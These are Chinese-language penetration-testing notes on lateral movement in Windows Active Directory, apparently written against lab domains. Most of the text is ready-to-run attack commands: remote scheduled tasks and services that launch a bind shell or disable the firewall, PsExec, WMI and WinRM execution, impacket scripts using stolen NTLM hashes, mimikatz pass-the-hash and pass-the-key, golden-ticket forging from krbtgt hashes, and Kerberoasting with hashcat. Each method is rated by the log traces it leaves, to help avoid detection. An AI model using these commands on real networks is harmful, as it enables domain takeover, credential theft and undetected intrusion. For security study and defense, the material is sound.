在正常情况中,横向移动是在已经获取了足够的权限的情况下进行横向移动,下面中的方法大部分也需要高权限的操作。
https://www.freebuf.com/articles/network/251364.html
内网横向移动分为三种情况:
1.在VPN环境中进行横向移动;
2.在socks代理环境中进行横向移动;
3.在远程木马的环境中进行横向移动;
文件传输-前期准备
在进行横向移动的过程中,我们首先应该考虑的是文件传输方案,对之后向攻击目标部署攻击载荷或其他文件提供便利。
网络共享
在windows系统中,网络共享功能可以实现局域网之间的文件共享。提供有效的用户凭据,就可以将文件从一台机器传输到另一台机器。
获取到windows中系统默认开启的网络共享。
net share
在实战中,往往会使用IPC$连接,而IPC$连接需要两个要求。
1.远程主机开启了IPC连接;
2.远程主机的139端口和445端口开放;
net use \\10.10.10.10\IPC$ "admin!@#456" /user:"administrator"
此时,如果你具备足够权限的凭据,即可使用dir或者copy命令查看目标主机的信息。
安全性考虑:这些指令是在本地执行,远程的命令,因此不会在远程连接的主机留下日志信息,因此是比较安全。
搭建SMB服务器
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB
SMB(server message block,服务器消息块),又称CIFS(网络文件共享系统),基于应用层网络传输协议,一般使用NetBIOS协议或者TCP发送,使用139或445端口。
创建一个双方都可以访问的SMB服务器,在内网渗透中,让受害主机远程加载木马等操作控制目标主机。
CIFS协议和SMB协议的区别
**关于对CIFS权限的想法:**就是当我们拿下了一台机器,然后这台机器存在约束委派或者白银票据这些漏洞的话,通过操作获得到了域控的cifs权限,那就可以使用impacket工具包里面的工具类似psexec.py、smbexec.py之类的脚本,然后使用-no-pass -k参数通过读取到本地的票据直接连接上域控获取到权限。
但是impacket工具包在使用-no-pass -k参数的时候检测的是.ccache票据,在windows上使用的是.kirbi结尾的票据,因此无法成功。在linux上可以成功。
如果能够获取到域控的cifs权限,修改一下impacket工具,或者通过编写其他工具,通过CIFS权限就可以直接拿下域控。
计划任务
使用VPN和socks方式执行方式相同。
一般来说,需要获取到管理员的凭据才可以进行计划任务的执行。
通过搭建SMB服务器或者建立共享连接,使目标机器下载运行脚本,然后建立计划任务来执行脚本加载木马等。
当目标系统版本<window2012时,使用at:
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
当目标系统版本>=windows2012时,使用schtasks:
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
/s:指定要链接的系统;/ru:指定计划任务运行的用户权限;/tn:指定创建的计划任务的名称;
/sc:指定计划任务执行的频率;/tr:指定计划任务运行的程序路径;/F:如果指定任务存在,则强制创建;
/mo:指定计划任务执行周期;
schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态
schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务
注意计划任务执行的程序是在后台执行,没有回显。
在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。
计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。
- Microsoft-Windows-TaskScheduler/Operational:这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器(Event Viewer)中找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。
- Microsoft-Windows-TaskScheduler/Maintenance:这个事件日志用于记录计划任务的执行情况,包括任务的开始、完成和错误信息等。同样,在Windows事件查看器中,你可以找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。
安全性考虑:计划任务虽然是在远程执行,但是会在目标主机建立一个计划任务进程,并且该进程也会在目标主机执行文件,这些行为都会在目标主机留下日志记录,因此较为危险。
系统服务
使用VPN和socks方式执行方式相同。
还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或者命令。
这样的方式需要两端主机的管理员权限。
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\10.10.10.10 create bindshell binpath= "c:\bind.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
启动服务
sc \\10.10.10.10 start bindshell
删除服务
sc \\[host] delete [servicename] #删除服务
我们还可以通过设置服务来关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。
系统服务方面的日志也会留下痕迹。
安全性考虑:使用创建系统服务的方式,会在远程主机上创建服务,会在目标主机留下日志记录,因此较为危险。
PSEXEC
使用VPN和socks方式执行方式相同。
psTools
psexec是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXEC”服务,当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。
因此,运行psexec需要的条件:
1.目标主机开启Admin$共享;
2.开启139或者445端口,以运行SMB;
3.需要目标主机的权限,创建服务;
PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe
-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
-u:用户名
-p:密码
-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
impacket包
Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。
python psexec.py [[domain/] username [: password] @] [Target IP Address]
python psexec.py VVVV1/admins:User\!@#45@10.10.10.10
# 通过哈希密码连接获得目标域用户交互式shell
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
python文件和exe文件的命令相同。
使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。
事件ID:7045
使用官方的PSEXEC TOOLS
使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)
安全性分析:psexec在执行时不仅会上传一个文件,还会创建一个服务,这些都是会被目标主机进行日志记录的,因此比较危险。
WMI
使用VPN和socks方式执行方式相同。
WMI的全名为(Windows Management Instrumentation,Windows管理规范),用户可以通过WMI管理本地和远程的计算机。WMI使用的协议是DCOM(分布式组件对象模型)和WinRM(Windows远程管理)。
运行WMI需要的条件:
1.远程主机的WMI服务为开启状态;
2.双方主机打开并放行135端口;
在windows上可以使用wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。
wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
查询远程进程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
wmic命令执行没有回显,因此要将结果写入到txt中
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"
// /node:指定将对其进行操作的服务器
在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,wmic远程执行命令在正常情况是不会产生日志,只有打开命令行审核功能,在使用wmic命令执行任何操作时,相关的事件将被记录在Windows事件日志中。
DCOM利用
使用VPN和socks方式执行方式相同。
https://www.freebuf.com/articles/web/293280.html
WinRM利用
使用VPN和socks方式执行方式相同。
http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.html
WinRM是通过执行WS-management协议来实现远程管理的,允许处于同一个网络内的Windows计算机彼此之间相互访问和交换信息,对应的端口是5985。
在windows-2008以上版本的服务器中,WinRM服务才会自动启动,在使用WinRM服务进行横向移动时,需要拥有远程主机的管理员凭据。
安装WinRM服务
1、查看是否开启winrm
winrm e winrm/config/listener
如果报错说明没有开启
2、开启服务
要在管理员模式下,使用CMD。因为Powershell会无法执行
winrm quickconfig
会有两个问题,都输入“y”即可
3、winrm service设置auth
winrm set winrm/config/service/auth "@{Basic="true"}"
4、为winrm service 配置加密方式为允许非加密(这个不配置,远程连接会出错)
winrm set winrm/config/service "@{AllowUnencrypted="true"}"
5、查看winrm配置
winrm get winrm/config
配置TrustedHosts
winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10
Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机
命令执行
winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "whoami"
winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "cmd"
在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,winRM远程执行命令在正常情况是不会产生日志。
linux进行横向渗透
一般在linux中进行横向渗透,使用Impacket 工具包进行渗透,其中为python脚本。
wmiexec.py
使用VPN和socks方式执行方式相同。
它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。
python wmiexec.py [[domain/] username [: password] @] [Target IP Address]
python wmiexec.py VVVV1/admins:User\!@#45@10.10.10.10 (注意:密码中如果有!,需要将!进行转义)
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
在域控主机会留下登录的日志,但是在socks隧道的客户端主机不会留下登录的日志。
psexec.py
使用VPN和socks方式执行方式相同。
Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。
python psexec.py [[domain/] username [: password] @] [Target IP Address]
python psexec.py VVVV1/admins:User\!@#45@10.10.10.10
# 通过哈希密码连接获得目标域用户交互式shell
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。
事件ID:7045
使用官方的PSEXEC TOOLS
使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)
smbexec.py
使用VPN和socks方式执行方式相同。
# 通过明文密码连接获得目标本地用户交互式shell
python smbexec.py .VVVV1/admins:User!@#45@10.10.10.10
通过哈希密码连接获得目标域用户交互式shell
python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
连接域控的话,会在域控上产生登录日志,不会在搭建socks隧道的客户端产生日志。
并且,执行smbexec会上传一个bat文件,并且开启一个服务BTOBTO来执行命令并且将bat文件删除,达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。
atexec.py
使用VPN和socks方式执行方式相同。
通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。
python atexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
使用atexe.py脚本会自动生成计划任务,因此在日志中也会有体现。
dcomexec.py
使用VPN和socks方式执行方式相同。
前提条件:135端口、445端口
135端口用于连接DCOM,445端口负责获取命令执行结果。
dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。
python dcomexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"
python dcomexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
在域控会有登录的日志体现。
Windows进行横向渗透
使用Impacket 工具包的exe版本,执行命令的语法与上面相同。
执行脚本所留下的日志痕迹也与上文中的类似。
哈希传递攻击
mimikatz
使用VPN和socks方式执行方式相同。
man1:0ec4b410903c6dc7594464f27d347497
admins: 0ec4b410903c6dc7594464f27d347497
administrator:ad5a870327c02f83cb947af6a94a4c23
ad-2016$: 99ac70cee2d4370638397a39c71db91d
使用mimikatz进行hash传递攻击,将域管理员账户的hash注入到lsass进程中。
privilege::debug
sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23
sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d
sekurlsa::pth /user:EXCHANGE-2016$ /domain:vvvv1.com /ntlm:a377e26f4118ba88ce1af6a4f8ac9daf
但是在socks代理的情况下,将hash注入到域外的主机中,无法解析dns,也无法知道域控的位置,只能通过指定ip的方式来进行操作。
使用dir等的操作时也会在域控中有日志体现。
sharpkatz
SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash ad5a870327c02f83cb947af6a94a4c23
在域控主机也会有登录日志体现。
密钥传递攻击
https://www.freebuf.com/column/220740.html
https://www.vuln.cn/6813
对于安装补丁KB2871997之后的机器,经过测试,本地管理员组中,只有administrator账户可以进行NTML-HASH传递,其他的账户包括非administrator的本地管理员都无法使用NTLM-HASH传递。
当然非administrator的本地管理员PassThe Hash失败的原因其实是由于远程访问和UAC的限制。
在版本windows servers 2012 R2之后,系统默认安装该补丁。Windows Server 2012 R2 的版本号为 6.3。因此,如果您的操作系统版本号大于 6.3,则可以判断它大于 Windows Server 2012 R2。
远程访问和UAC
User Account Control and remote restrictions - Windows Server
根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的帐户,会在网络上进行限制。
在使用本地用户进行远程登录时不会使用完全管理员权限(fulladministrator),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员(fulladministrator)的AccessToken运行,并且UAC不会生效。
这样就解释了为什么在打上补丁之后,本地管理员除了administrator可以进行连接之外,其他管理员无法进行连接(如果一个域内普通账户,加入了本地管理员组的话也是可以进行连接的)。
当我们使用本地管理员Administrator账户进行NTLM-HASH传递的时候,可以直接传递成功。
sekurlsa::pth /user:administrator /domain:WEB-2012 /ntlm:b025cd380141ba05de422efcef9bab2f
但是使用本地管理员组中的admin账户进行NTLM-HASH传递的时候,无法成功。
sekurlsa::pth /user:admin /domain:WEB-2012 /ntlm:0ec4b410903c6dc7594464f27d347497
由此可见在上面的实验中administrator能够成功PTH,而本地管理员用户admin无法成功,是因为以admin的身份发起的请求被UAC拒绝。
Administrator用户成功的原因同样是因为UAC中的一项配置:FilterAdministratorToken。
Administrator账户启用UAC限制
修改组策略
选择 计算机配置->Windows设置->安全设置->本地策略->安全选项
发现当我们安装补丁后,下图选项默认开启。
我们直接选择启用该选项即可。
发现administrator账户已经无法使用NTLM-HASH传递了。
FilterAdministratorToken
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10)
在UAC组策略设置和注册表项设置的官方文档中可以看到相关的描述,关于UAC的注册表中一个注册表键值为FilterAdministratorToken,且在Windows Server 2008默认为Disable。
官方文档中我们可以看出,中国内置管理员账户就是Administrator账户。
之所以Administrator用户成功传递HASH的原因就与这一项注册表有关,默认情况下FilterAdministratorToken的值为0(distabled),UAC不会对administrator账户进行限制。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
如果想要关闭Administrator远程访问,直接将FilterAdministratorToken启用即可,修改成1。
修改后立即生效,administrator账户也无法远程访问。
关闭UAC限制
修改组策略
选择 计算机配置->Windows设置->安全设置->本地策略->安全选项
发现当我们安装补丁后,下图选项默认开启。
我们直接选择禁用该选项即可。
重启后发现admin账户可以传递HASH。
LocalAccountTokenFilterPolicy
https://learn.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction
在官方文档中提到可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改禁用UAC。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条,并将值设置为1,LocalAccountTokenFilterPolicy的值默认为0(开启远程限制),为1时将关闭远程限制
两种方法总结:
组策略优先级>注册表
1.当组策略关闭UAC限制后,注册表LocalAccountTokenFilterPolicy设置0或1,都关闭UAC限制;
2.当组策略开启UAC限制后,注册表LocalAccountTokenFilterPolicy设置成0是开启UAC限制,设置成1是关闭UAC限制;
KB2871997与PTK攻击
具体的KB2871997补丁内容更新可以查看下面的链接了解。
https://www.freebuf.com/column/220740.html
这里我们主要回归到KB2871997补丁对我们使用密钥传递攻击带来的影响。
KB2871997补丁其中一项:支持“ProtectedUsers”组
“ProtectedUsers”组是WindowsServer 2012 R2域中的安全组,“ProtectedUsers”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。
https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash
“受保护的用户”组支持(强制Kerberos身份验证以实施AES加密)
1.当“域功能级别”设置为Windows Server 2012 R2时,将创建“受保护的用户”组。
2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证,拒绝NTLM,摘要式身份验证和CredSSP。
3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。
4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。
5.受保护的用户可以使用“身份验证策略”很好地工作。
由上文中我们可以了解到,在更新补丁KB2871997后,支持AES加密的凭据进行传递,且走的协议为kerberos协议。
sekurlsa::ekeys
sekurlsa::pth /user:administrator /domain:vvvv1.com /aes256:23a6b51c13d6630cc8a3eb8f4e6966f15e51aeb8ceec190fb280607e413ebd9d
经过测试,windows10无法使用PTK密钥传递
另外,因为是走的kerberos协议,那么只能通过域名进行连接,无法使用ip进行连接。
在windows中的socks代理的环境下,也无法使用PTK,因为proxifier代理软件无法远程解析DNS,就无法使用kerberos认证,就无法使用PTK传递。
写到这里,我们发现PTK密钥传递攻击实际上是比较鸡肋的一个功能,基于kerberos认证,但是如果获取到的是本地管理员的权限,但是导出本地的hash信息中不会存在AES加密的kerberos凭据,因为kerberos认证只在域内进行使用,本地不会使用kerberos认证,那么就不会存在aes加密的kerberos凭据。只能获取域内账户的凭据才能通过AES加密的凭据进行PTK。但是从上文可以知道,实际上域内账户并不会被该补丁限制,那就不需要使用AES传递,而是直接使用NTLM-HASH进行传递攻击即可。
虽然PTK方法用处比较小,但是存在必然有它的原因。当我们遇到NTLM认证被禁用的情况下,PTK攻击的重要性就出现了,可以直接使用AES加密的凭据进行传递攻击以获得权限。
黄金票据
krbtgt账户
krbtgt是一个特殊的账户,它是用于Kerberos身份验证服务的关键账户。该账户的权限是非常高的,它拥有颁发和验证客户端服务票据所需的密钥和证书。
使用krbtgt账户主要有两个方面的操作:
- 颁发服务票据:krbtgt账户可以使用其密钥和证书为其他服务账户颁发服务票据。服务票据用于客户端与服务端之间的互相认证和授权。
- 验证服务票据:krbtgt账户还负责验证客户端发来的服务票据的有效性和真实性。验证过程需要使用krbtgt账户的密钥和证书进行解密和比对。
kerberos认证流程
https://zhuanlan.zhihu.com/p/266491528
在日志中我们也可以看出kerberos认证流程
如果一个正确的域内用户进行kerberos认证,则会产生如下五条日志(3号日志为验证ST,也就是用户权限PAC)
如果是域内无权限账户进行kerberos认证,则不会产生4号日志,因为权限不足导致无法分配权限。
如果不使用域内账户进行认证,则只会产生登录错误,审核失败的日志,不会使用kerberos认证。
黄金票据
因为黄金票据的原理是伪造tgt,所以只能使用kerberos认证,不能使用ntlm认证。
因此即使导入了票据,使用如下的指令也会提示没有权限。
dir \\10.10.10.10\c$
如果把ip修改成对应的机器名或域名即可成功。
VPN环境
前提需要获取到krbtgt账户的hash值,利用krbtgt账户的hash在kerberos认证过程中的第3、4步骤,通过伪造用户的TGT(包含用户相关的权限身份信息,使用krbtgt的ntlm-hash进行加密)来验证,由于服务器的不严谨,无论用户是否拥有访问服务的权限,只要TGT正确,都可以返回ST(服务票据)。
验证条件
1.拥有一个域的SID;
2.拥有krbtgt账户的hash值;
3.需要一个本地管理员用户,来执行mimikatz
privilege::debug
lsadump::dcsync /domain:ww1.com /user:krbtgt
lsadump::dcsync /domain:ww1.com /all /csv
krbtgt账户ntlm-hash:eb92dd77ca9cdadd073ae907a7c22d0d
获取你将要注入的一个普通用户的SID(去掉权限标识-500)
S-1-5-21-3315874494-179465980-3412869843-500
kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi
还未注入黄金票据时,普通用户无法访问域控资源
生成黄金票据(注意要删除SID后面的标识符)/user:伪造的用户名
kerberos::golden /user:administrator /domain:ww1.com /sid:S-1-5-21-2672614020-1166804175-548711290 /krbtgt:f888308114c87fd64fef57d8907f3b46 /ticket:1.kirbi
清除原本的票据信息
kerberos::purge
加载票据
kerberos::ptt 1.kirbi
成功访问到域控资源
使用dcsync获取到域内hash
lsadump::dcsync /domain:ww1.com /all /csv
接下来验证域林中子域的黄金票据具有怎么样的权限
子域控的krbtgt hash值
5521f994722ff1807d88d17dd9d19535
子域的SID
S-1-5-21-3625630716-398430537-4180109759
制作黄金票据
kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi
使用子域krbtgt制作的黄金票据可以访问子域控的资源
无法访问主域控的资源,也无法访问主域的资源
也无法访问同级别子域的资源
接下来使用主域的krbtgt生成黄金票据
主域的krbtgt
eb92dd77ca9cdadd073ae907a7c22d0d
主域的SID
S-1-5-21-3315874494-179465980-3412869843
kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi
经过测试,发现和主域的administrator权限相同,可以访问主域和子域控的资源,但是无法访问子域成员机的资源。
接下来我们测试使用主域的krbtgt和子域的SID生成黄金票据
主域的krbtgt
eb92dd77ca9cdadd073ae907a7c22d0d
子域的SID
S-1-5-21-3625630716-398430537-4180109759
kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi
kerberos::purge
kerberos::ptt 1.kirbi
发现拥有的是childv域的管理员权限,只能访问childv域内所以资源,无法访问主域和其他同级子域的资源。
kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi
这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。
接下来我们测试使用子域的krbtgt和主域的SID生成黄金票据
子域的krbtgt
5521f994722ff1807d88d17dd9d19535
主域的SID
S-1-5-21-3315874494-179465980-3412869843
kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi
发现获取到的是主域administrator的权限,可以访问主域、子域控的资源
kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi
这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。
使用ticketer.py实现
https://blog.csdn.net/qq_41874930/article/details/108266378
https://xz.aliyun.com/t/11877
https://paper.seebug.org/321/
首先使用工具ticketer.py生成票据
python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator
使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径
export KRB5CCNAME=/path/to/ccache/file
export KRB5CCNAME=/tmp/administrator.ccache
echo $KRB5CCNAME
在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。
proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk
//-codec gbk 防止回弹的cmd乱码的情况出现
- 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
- 记下 chcp.com 命令返回的字符编码代码页。
- 使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。
- 在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk)
socks隧道环境
在socks环境中,想要解析域名对应的ip,使用Proxifier工具无法代理远程dns,因此只能通过本地进行修改host文件,本地修改host不能解决远程dns解析的问题,因为修改本地host相当于是在本地将域名和ip进行替换,远程还是相当于通过ip操作。
目前来说,windows环境下socks代理的情况下无法使用黄金票据,因为windows代理软件Proxifier无法解决远程dns解析的问题。如果是在域外的一台与域内同网段的机器操作,自己配置了dns解析,就可以使用黄金票据了。(与kerberos协议无关,ntlm协议和kerberos协议是走tcp的,只要网络是通的,那就可以使用ntlm和kerberos认证)
但是在linux环境下,linux代理软件proxychains可以远程解析dns,因此可以使用黄金票据。
使用ticketer.py实现
https://paper.seebug.org/321/
首先使用工具ticketer.py生成票据
python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator
使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径
export KRB5CCNAME=/path/to/ccache/file
export KRB5CCNAME=/tmp/administrator.ccache
echo $KRB5CCNAME
在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。
proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk
//-codec gbk 防止回弹的cmd乱码的情况出现
- 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
- 记下 chcp.com 命令返回的字符编码代码页。
- 使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。
- 在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk)
Kerberosast攻击
https://www.cnblogs.com/Hekeats-L/p/16800918.html
https://zhuanlan.zhihu.com/p/475122515
在使用 Kerberos协议进行身份验证的网络中,必须在内置账号(Networkservice, Localsystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。
但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。
**Kerberos身份验证使用sPN将服务实例与服务登录账号关联起来。**如果域中的计算机上安了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。
根据Kerberos协议,当用户输人自己的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭据)
下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向城制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC.KDC中的身份验证量务(AS)对TGT进行解密。
确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的地址发送给用户,用户使用该票据即可访问MSSQL服务。
而Kerberosast攻击主要利用了TGS_REP阶段使用服务的NTLM Hash返回的加密数据,对于域内的任何主机,都可以通过查询SPN,向域内的所有服务请求ST,然后进行暴力破解。
具体的利用过程
1.拥有一个域内普通用户的hash(拥有正确的TGT);
2.查询SPN,向域内的所有服务请求ST;
3.因为KDC不会验证权限,因此无论是否拥有访问该服务的权限,只要TGT正确,TGS服务器都会返回该服务对应的服务票据ST;
4.使用工具破解服务HASH;
使用工具Rubeus.exe
Rubeus.exe kerberoast
使用Impacket工具包的GetUserSPNs.py
python3 GetUserSPNs.py vvvv1.com/administrator:Password1 -dc-ip 10.10.24.188 -request
导出hash后使用hashcat进行解密即可
hashcat -m 13100 -a 0 hash.txt Pass.txt
破解服务帐户密码后,根据服务帐户是否为域管理员,有多种方法可以窃取数据。如果服务帐户是域管理员,你将拥有类似于银票的控制权,并且可以收集重要的数据,例如转储 NTDS.dit。如果服务帐户不是域管理员,你可以使用它来登录其他系统获得立足点或者进行权限升级,或者你可以使用破解的密码来攻击其他服务和域管理员帐户。
AS-REP Roasting攻击
https://www.cnblogs.com/Hekeats-L/p/16800918.html
